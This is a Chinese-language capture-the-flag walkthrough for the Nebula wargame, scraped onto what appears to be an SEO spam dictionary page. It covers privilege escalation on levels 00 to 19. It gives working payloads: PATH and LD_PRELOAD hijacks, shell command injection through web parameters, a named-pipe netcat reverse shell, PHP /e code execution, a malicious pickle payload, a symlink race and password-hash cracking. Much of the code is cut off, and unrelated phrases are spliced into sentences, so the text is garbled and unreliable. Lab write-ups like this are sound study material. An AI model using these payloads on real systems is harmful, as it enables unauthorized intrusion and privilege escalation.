air是什么意思在线翻译读音例句-inthedistance


2023年4月19日发(作者:六年级上册英语点读)Nebula通关指南
level 00
这个⼀题的⽬的是找到⼀个suid的⽂件,已经提⽰了是看find的⽂档,很简单。⽤find-perm选项即可。
level00@nebula$ find / -perm -4000 >
查找完成后会看到⼀个/bin/.../flag00,运⾏后即可。
level00@nebula$ /bin/.../flag00 flag00@nebula$ getflag
level 01
给了⼀个程序的源码,让我们继续利⽤的suid去执⾏某些东西。
#include
#include #include #include #include int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid;
分析源码,可以看到最后调⽤了system(\"/usr/bin/env echo and now what?\");env这个东西是从环境变量的PATH⾥去寻找echo的路径并执
⾏的。但是环境变量有个特点,就是按照顺序从左向右寻找,例如:PATH=/path1:/path2,那么查找echo的时候,会先从path1开始寻找。
所以我们只要在所有的PATH之前加上⼀个可以控制的⽬录,并在⾥⾯放个echo,运⾏这个程序清史稿目录详细 的时候就会执⾏我们的程序了。
level01@nebula$ PATH=/tmp:$PATH level01@nebula$ export PATH level01@nebula$ echo $PATH
这样就把/tmp加⼊了PATH了最左边的位置。然后就可以在/tmp下⾯新建⼀个echo⽂件,做猥琐的事情了。
level01@nebula$ ln -s /bin/bash /tmp/echo level01@nebula$ ./flag01
但是这样是不⾏的,因为bash把后⾯的内容当作了命令,⾃然是提⽰找不到命令。我通过了⼀个技巧绕过了这个限制,在/tmp下⾯新建⼀个
⽂件echo,写⼊如下内容即可:
#!/bin/bash
/bin/bash
运⾏试试
level01@nebula$ ./flag01
flag01@nebula$ getflag
level 02
依然是给了⼀段代码:
#include
#include #include #include #include int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid
通读代码,发现还是这个环境变量的问题,⽐较简单,只要设置USER变量为\'a;bash;\'即可。

level02@nebula$ USER=\'a;bash;\'
level02@nebula$ ./flag02 flag02@nebula$ getflag
level 03
这个没有给源码,只是告诉我们有个crontab⽂件,进去看⼀下,发现writable.d⽬录是可写的,旁边还有个sh⽂件,⼤意是运⾏writable.d
件夹下所有的⽂件。这样⼀来就简单了,新建⼀个,写⼊如下内容:
#!/bin/bash
/bin/getflag > /tmp/
等⼀会就运⾏了,然后去cat /tmp/,发现已经成功了。
PS:这些题⽬的flag判断是以⽬标账户执⾏程序为标准,只要使⽤⽬标账户执⾏了getflag,就算成功。
level 04
这个题给了我们⼀个程序的源码,让我们去绕过限制,读取token⽂件的内容。
#include
#include #include #include #include #include int main(int argc, char **argv, char **envp) { char
通读代码,发现做了两个检测,⼀个是参数的数量,另⼀个就是⽂件名中是否包含token字符串,很明显可以发现这个题的point在如何绕过
这个⽂件名的问题,使⽤软链接就可以啦!
level04@nebula$ ln -s /home/flag04/token /tmp/abc level04@nebula$ ./flag04 /tmp/abc
level 05
看题意应该是权限的问题,我们到系统⾥看⼀下。
发现/home/flag05下⾯有两个隐藏的⽬录,分别是.ssh.backup,但是.ssh是因为权限问题进不去的。可是.backup⽬录却可以进⼊,把⾥
⾯的tgz⽂件复制到⾃⼰的home⽬录下,解压发现了公钥之类的⼀些东西,ssh登陆127.0.0.1就可以了。
level05@nebula$ ls -al /home/flag05 level05@nebula$ cp .backup/backup ~/ level05@nebula$ tar xf backup level05@nebula$ ssh flag05@12
level 06
只有⼀句我也看不太懂的话:The flag06 account credentials came from a legacy unix system.
先登陆进去看看。找了⼀圈啥也没有,⽆意间翻到了/etc/passwd中,发现了flag06这个⽤户的密码存储⽅式⽐较奇葩
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
直接丢给john the ripper去破解,秒破。
# root at lightless-kali in ~ [22:09:08]
$ john password
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16]) hello (flag06) guesses: 1 time: 0:00:00:00 DONE (Mon Aug 3 22:09:14 2015) c
剩下的事情就不⽤多说了。
Ps:做完之后,想明⽩了题⽬的含义了,旧版本的unix系统密码不都是这么存的嘛,所以说came from a legacy unix system呀。
level 07

⼀个perl程序,⽤于ping检测的,第⼀想到的就是命令注⼊,先看看源码吧。
#!/usr/bin/perl
use CGI qw{param}; print \"Content-type: text/htmlnn\"; sub ping { $host = $_[0]; print(\"Ping results
\"
可以看到,程序接收⼀个Host参数。
wget -O- \"127.0.0.1:7007/?Host=localhost\"
这样会返回正常的结果,想办法弹个shell回来,或者开个端⼝⾃⼰连上去,应该就是flag07⽤户了。
wget -O- \"127.0.0.1:7007/?Host=127.0.0 || nc -vv -l 8888;\"
这样确实可以,但是并没有编译-e参数,意料之中,很多linux的发⾏版考虑到安全问题都去掉了-e参数,即没有指
GAPING_SECURITY_HOLE常量。但是可以绕过的,需要⼀点技巧。
⾸先现在本地进⾏监听(切换到其他的tty去),依然选择回弹shell的⽅式进⾏攻击。
nc -lnvp 8888
攻击思路是这样的:先创建⼀个管道,然后将shell的环境的输⼊重定向给管道,然后把输出通过nc重定向到攻击者的⼀端,然后将shell的
执⾏结果再重定向到管道中,这么说可能有些混乱,我们看⼀下代码。
mknod /tmp/backpipe p /bin/bash 0/tmp/backpipe
然后我们把这⾥两条合起来加到我们的payload中。
wget -O- \"127.0.0.1:7007/?Host=127.0.0 || mknod /tmp/backpipe && /bin/sh 0/tmp/backpipe\"
这样⼀来,shell成功的弹了回来
level07@nebula$ nc -vv -l 8888 Connection from 127.0.0.1 port 8888 [tcp/*] accepted whoami flag07 getflag You have successfully executed getflag on a
level 08
给了个pcap⽂件,从流量中分析出些什么猥琐的东西。
丢到wireshark⾥,发现⼤概共100个数据包,只有两个IP,直接跟踪TCP流,看到了些有趣的东西。
..%..%..&..... ..#..\'..$..&..... ..#..\'..$.. .....#.....\'........... .#.\'..\"........!........\"..\".....b........b.....B. ..
看起来好像数据包不完整,⽤那个密码也不能登陆成功。换成⼗六进制看看。
000000D6 00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Passw ord: 000000B9 62 b 000000BA 61 a 000000BB 63 c 000000BC 6b k 000000BD 64
问题⼀下⼦就出来了,0x7f怎么会是⼀个点号呢,查了⼀下发现是backspace,也就是退格键,试试我们的新密码吧:backd00Rmate,后
⾯的事情就不⽤多说了。
level 09
竟然给了世界上最好的语⾔。

<?php
function spam($email) { $email = preg_replace(\"/./\", \" dot \", $email); $email = preg_replace(\"/@/\", \" AT \", $email); return $email; } function markup
还有个setuid的C程序,不过从源码中发现了在使⽤preg_replace的时候⽤到了/e,这个参数已经在PHP5.5以上被废弃了。对于构造这样
的payload,应该⽐较容易了。这⾥的代码也⽐较容易构造。
[email {${phpinfo()}}]
继续构造执⾏命令的payload。
[email {${system(\"getflag\")}}]
结果发现双引号被转义了,执⾏不了。但是函数还有个$use_me参数,应当算作提⽰吧。
[email {${system($use_me)}}]
最终结果如下:
$ cat /tmp/ [email {${system($use_me)}}] $ ./flag09 /tmp/ getflag
完成了。
level 10
题⽬做到这⾥就变得有趣起来了。
这个题给了⼀个C程序的源码,通读下来,是⼀个上传⽂件的程序,使⽤了access()做了限制,通过限制后就会通过socket把⽂件内容传输
过去。
#include
#include #include #include #include #include #include #include
⽽这⾥的access()检查的是ruid,在access()检查和使⽤open()打开⽂件之间的这段时间⾥,我们完全可以替代掉打开的⽂件为token,因为
我们已经通过了检查。也就是说,⽤⼀个有权限的⽂件去绕过access的限制,之后马上把⽂件替换成没有权限的token,因为已经经过了检
查,所以程序可以毫⽆阻碍的打开没有权限的token⽂件。(在这个题中没有访问token⽂件的权限,⽽flag就在token中)
现在来解这个题,⾸先我们需要⼀个循环脚本来不停的做链接来替换⽂件。/tmp/aaa我们是有权限access的,⽽token则没有,所以要不停
的替换,让access的时候传⼊token,然后就替换成token⽂件。
while true; do ln -sf /home/flag10/token /tmp/ttt ln -sf /tmp/aaa /tmp/ttt done
接着把nc跑起来本地监听18211端⼝,接下来再写个循环不停的运⾏⽬标程序吧,剩下的事情就是看脸了。
while true; do /home/flag10/flag10 /tmp/ttt 10.211.55.2 done
然后看到了nc那边的输出,得到了token⽂件的内容。后⾯的事情就不⽤说了。
level 11
这题有点意思了,给了源码,题⽬说有两种⽅式完成本题。

#include
#include #include #include #include #include #include /* * Return a random, non pre
同样的也是先通读源码,⼀开始需要输⼊Content-Length:加⼀个整数,如果⼩于1024的话,会继续调⽤fread(),如果⼤于或等于1024
话,就会随机打开⼀个随机的⽂件描述符,然后把content的内容复制到这个⽂件中,然后把这个⽂件中的内容读⼊内存中紧接着执
process()函数,可以看到不管如何最终都会调⽤process()函数,这个函数是⼀个⼗分简单的解密函数。
void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system
不是很难,很容易写出反解的脚本。
#!/usr/bin/env python2
cmd = \'getflagx00\' length = 1024 key = length & 0xff res = \"\" for i in range(len(cmd)): enc = (ord(cmd[i]) ^ key) & 0xff res += chr(enc) key = (key - ord
需要注意的就是在命令的最后需要⾃⼰⼿动加个null字节进⾏截断。源程序中还需要⼀个TEMP的环境变量,设置⼀下。
$ export TEMP=/tmp
这样就完成了,但是题⽬说有两种解法,再回过头来仔细看看,发现了⼀个bug,不知道是⼿抖还是故意的。
if(fread(buf, length, 1, stdin) != length) {
这⼀⾏代码,看起来没啥问题,我们看⼀下fread的函数原型。
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream); The function fread() reads nmemb elements of data, each size bytes long, from the stream
看完就明⽩了,这个fread总会返回1,所以我们必须输⼊Content-Length: 1,才能满⾜这个条件。
我们试⼀下:
level11@nebula:/tmp$ echo -ne \"Content-Length: 1nx\" | /home/flag11/flag11 sh: $\'y@z\': command not found level11@nebula:/tmp$ echo -ne \"Content-L
发现每次都是随机的,但是有时候会出现这样的情况:
level11@nebula:/tmp$ echo -ne \"Content-Length: 1nx\" | /home/flag11/flag11 sh: $ y: command not found
刚好出现了⼀个y,那我们新建⼀个脚本,名字为y,还是⽤PATH顺序的⽅法让他优先执⾏我们的脚本。
level11@nebula:/tmp$ cat /tmp/y #!/bin/bash /bin/bash level11@nebula:/tmp$ echo -ne \"Content-Length: 1nx\" | /home/flag11/flag11 getflag is executing o
为啥不算数,我觉得算数了啊,这明显是setuid的程序通过system调⽤的呀,迷。
level 12
⼀段lua脚本,题⽬描述是⼀个backdoor,监听在50001端⼝文言文转换 。
local socket = require(\"socket\") local server = assert((\"127.0.0.1\", 50001)) function hash(password) prog = (\"echo \"..password
先把那串hash丢到CMD5⾥去解⼀下,发现解不开,看了这个题的point不在这鸳鸯真经 ⾥。

仔细读源码的话就会发现命令注⼊,在prog = (\"ech三峡译文及注释解析 o \"..password..\" | sha1sum\", \"r\"),没有过滤就代⼊了,直接构造payload就好
了,⽐较简单。
Password: 123;getflag;#
然⽽没输出成功的消息,试试重定向:
Password: 123;getflag > /tmp/123;# $ cat /tmp/123
成功了。
level 13
这个题同样给了⼀个源码,是通过getuid()进⾏检查的,如果不等于1000就退出。当然计算token的过程被略去了。
#include
#include #include #include #include #define FAKEUID 1000 int main(int argc, char **argv, char **envp
通读代码,这时候有⼏个思路可是尝试下:
1. IDA⾥找到计算token的过程,但是这么玩就没意思了。
2. 改汇编代码,把getuid的判断结果改为当前⽤户的uid
3. hook getuid这个函数,让其返回1000,从⽽绕过判断。
我们⼀个⼀个来分析,先说第⼀个,纵然是最简单的,不费吹灰之⼒就得到了token,只是把⼀串密⽂与0x5a进⾏了异或操作。
第⼆个⽅法也⽐较简单,没啥好说的。
我们来看看第三个⽅法,劫持掉getuid()函数。可能实现起来⽐较⿇烦,但是可以通过环境变量LD_PRELOAD来使事情变得简
单。LD_PRELOAD可以影响程序运⾏时的链接,这个变量允许你定义在程序运⾏时优先加载的动态链接库。
于是我们写⼀个程序mygetuid.c,内容如下:
#include
uid_t getuid(void) {return 1000;}
然后把它编译成so库⽂件: gcc -shared -fPIC mygetuid.c -o ,接下来设置LD_PRELOAD变量。
$ LD_PRELOAD=\"/home/level13/\"
$ export LD_PRELOAD $ ./flag13
成功。这⾥需要注意⼀点,需要将/home/flag13/flag13复制到/home/level13/下⾯运⾏才可以,因为需要flag13和这个so⽂件的ruid是⼀样的
才可以。
level 14
这题⽬看着有点像密码学系列,这个程序会把输⼊加密,并且将密⽂输出,我们要做的是把加密过的token解开。
这题要么拿去逆⼀下,要么试试有没有规律输出。
输⼊aaaaaaa输出abcdefg,看起来好像只是简单的递增关系,第0个位置加0,第1个位置加1,以此类推,这样很快就能写出解密脚本。
#!/usr/bin/env python2
token = \"857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.\" cnt = 0 res = \"\" for i in token: res += chr(ord(i) - cnt) cnt += 1 print res

level 15
这个题,直接让我⽤strace了,那就照做吧。结果发现这货在/var/tmp/flag15这个位置寻找.6,结果肯定找不到的。应该是在编译的时
候指定了选项,因为正常情况下是会搜索/lib/usr/lib两个路径,如果都未找到,按照/etc/⾥⾯的配置进⾏绝对路径的查找。当然
可以通过环境变量LD_LIBRARY_PATH进⾏指定,但是这个变量是全局影响,显然这题应该不是这么做的。
ld关于这部分的选项主要有三个,分别是-L-rpath-link-rpath,其中前两个都是在链接的时候⽤到的,⽽-rpath则是运⾏的时候去寻找的,
对于这部分不熟悉的同学,请参考题⽬给出的参考链接。
通过objdump -p flag15命令,确实看到了指定了rpath,是/var/tmp/flag15,同时发现需要GLIBC_2.0版本,于是在这⾥弄⼀个libc试试。
RPATHLD_PRELOAD的区别请⾃⾏百度,与setuid有关。)
既然可以丢⼊⾃⼰的libc库,直接劫持掉__libc_start_main()吧,但是⾸先我们要解决掉版本问题。新建⼀个shell.c,就写⼊下⾯这⼀⾏代
码。
#include
进⾏编译:
$ gcc -fPIC -shared shell.c红色经典诵读200篇 -o .6
运⾏flag15后提⽰no version information。那么写个version信息试试。
新建⼀个⽂件version,写⼊以下内容:
GLIBC_2.0{};
然后进⾏编译:
$ gcc -fPIC -shared -Wl,--version-script=version shell.c -o .6
继续运⾏flag15,结果提⽰No version GLIBC_2.1.3 not found,可能是指向了其他的GLIBC,静态编译吧。
$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic shell.c -o .6
OK,版本问题解决了,现在是提⽰找不到__libc_start_main了,这个好办,我们⾃⼰写⼀个。继续修改shell.c,代码如下:
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (司马懿透支了子孙后代的智商 *rtld_fini) (void), void (* stack_end
同时version⽂件也要改⼀下:
GLIBC_2.0{ global:__libc_start_main; local: *; };
编译:
$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o .6
运⾏,获得了flag15shell,搞定。
level 16
⼜给了⼀个perl脚本,代码:

#!/usr/bin/env perl
use CGI qw{param}; print \"Content-type: text/htmlnn\"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/a-z/A-Z/; # conver to upperca
听说⼜有命令注⼊:
@output = `egrep \"^$username\" /home/flag16/ 2>&1`;
很明显,username处存在命令注⼊,要么弹个shell回来,要么直接执⾏命令。这⾥对⽤户名进⾏了限制,会将其转换成⼤写,并且去掉第
⼀个空格之后的任何内容。
对于第⼆个限制,可以采取如下⽅式
\"
/tmp/ttt中写⼊:
#!/bin/sh
/bin/getflag > /tmp/aaa
payload代⼊username即可。后来发现,这样的payload也是可中秋节的介绍简短20字 以的:
`/*/MYSHELL`
其中MYSHELL是⼀个shell脚本。
level 17
这次给了个python脚本。
#!/usr/bin/python
import os
import pickle import time import socket import signal (D, _IGN) def server(skt): line = (1024) obj = pickle
但是在这⾥似乎⽐较⿇烦,需要⾃⼰构造序列化以后的东西,当然利⽤类的__reduce__⽅法也可以。
cos
system
(S\'getflag > /tmp/res\' tR.
把这些内容保存到,然后通过nc发送过去,具体怎么发送都⽆所谓了。
level 18
level 19
看完18再来看这个简直是酸爽啊,突然觉得好幸福。
#include
#include #include #include #include #include #include int main(int argc, char **
这个题也是要突破这个程序,通读下来,发现这个程序的流程是⾸先获取⽗进程的PID,然后再根据这个PID/proc下⾯找对应的⽂件夹,
如果这个⽂件夹是属于root的,就可以执⾏shell了。

但是在*nix中涉及到⼀个⽗⼦进程的问题,就是如果⽗进程死了,那么⼦进程就变成了孤⼉进程,然后init会把这个孤⼉进程作为⾃⼰的⼦进
程,⽽init则是由root启动的,这样就可以突破限制了。这代码是从⽹上找了⼀份,拿来改了改。
#include
int main(int argc, char **argv, char **envp) { int childPID = fork(); if(childPID >= 0) { // forked if(childPID == 0) { // child sleep(1); setresuid(geteuid(),
通关了
终于通关了,脑洞⼤开,各种⿊魔法。

百分温度计摄氏温度计的英文翻译么说-路透社


更多推荐

nebula是什么意思ula在线翻译读音例句